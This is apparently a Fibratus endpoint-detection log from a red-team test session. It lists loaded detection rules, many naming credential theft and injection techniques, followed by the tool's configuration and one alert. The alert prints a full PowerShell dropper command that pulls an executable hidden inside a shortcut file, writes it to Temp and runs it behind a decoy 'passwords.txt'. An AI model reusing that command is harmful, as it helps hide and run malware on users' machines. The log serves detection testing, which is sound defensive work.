C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_binary_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:27:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:27:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-11T16:27:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-11T16:27:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-11T16:27:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-11T16:27:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:27:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:27:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-11T16:27:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:27:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-11T16:27:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-11T16:27:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:27:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:27:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:27:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-11T16:27:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-11T16:27:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-11T16:27:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:27:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-11T16:27:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:27:04+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-11T16:27:04+01:00 level=info msg=bootstrapping with pid 11016. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T16:27:04+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 enabled=>false use-template=>true to=>[] content-type=>text/html] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-net=>true enable-fileio=>true enable-registry=>true enable-handle=>false buffer-size=>512 max-buffers=>36 enable-vamap=>true flush-interval=>1s enable-thread=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-threadpool=>false enable-dns=>false enable-mem=>false stack-enrichment=>true enable-audit-api=>true enable-image=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true formatter=>text max-age=>0 max-backups=>15 max-size=>100] + output ......................... [ elasticsearch=>[ healthcheck=>true servers=>[http://127.0.0.1:9200] timeout=>5s sniff=>false bulk-workers=>1 flush-period=>1s healthcheck-interval=>10s gzip-compression=>false enabled=>false healthcheck-timeout=>5s trace-log=>false template-name=>fibratus index-name=>fibratus] http=>[ tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false serializer=>json method=>POST endpoints=>[] timeout=>5s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] amqp=>[ exchange=>fibratus enabled=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange-type=>topic timeout=>5s durable=>false delivery-mode=>transient passive=>false routing-key=>fibratus vhost=>/] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] excluded-files=>[] scan-timeout=>10s skip-files=>false skip-mmaps=>false enabled=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-12-11T16:27:04+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:27:07+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:28:01+01:00 level=info msg=sending alert: [Embedded binary execution via shortcut file]. Text: Event(s): + Seq: 1779810 + Pid: 14828 + Tid: 9412 + Type: CreateFile + CPU: 3 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-12-11 16:27:40.3091486 +0100 CET + Params: attributes➜ , create_disposition➜ CREATE, create_options➜ SYNCHRONOUS_IO_NONALERT|NON_DIRECTORY_FILE|OPEN_NO_RECALL, file_object➜ ffff8b044900e360, file_path➜ C:\Users\nedo\AppData\Local\Temp\tmp960969962.exe, irp➜ ffff8b043a276908, is_dll➜ false, is_dotnet➜ false, is_driver➜ false, is_exec➜ true, share_mask➜ WRITE, status➜ Success, tid➜ 9412, type➜ File + Metadata: rule.name: Embedded binary execution via shortcut file, tactic.id: TA0002, tactic.name: Execution, tactic.ref: https://attack.mitre.org/tactics/TA0002/ + + Pid: 14828 + Ppid: 14600 + Name: powershell.exe + Parent name: cmd.exe + Cmdline: powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002842)) -Encoding Byte; & $path; + Parent cmdline: "C:\WINDOWS\system32\cmd.exe" /K start notepad C:\\Users\nedo\AppData\Local\Google\Chrome\User Data\ZxcvbnData\3\passwords.txt && powershell $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00073B1A} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^| select -Skip 002842)) -Encoding Byte; ^& $path; + Exe: powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe + Cwd: C:\Fibratus\redteam\EmbedExeLnk-\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002842)) -Encoding Byte; & $path;] + Session ID: 1 + Envs: map[:C:=C:\Fibratus\redteam\EmbedExeLnk- ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1792_1262719628:1 EFC_1792_1592913036:1 EFC_1792_2283032206:1 EFC_1792_2775293581:1 EFC_1792_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-11T16:28:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T16:28:33+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:28:34+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:29:37+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_binary_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml 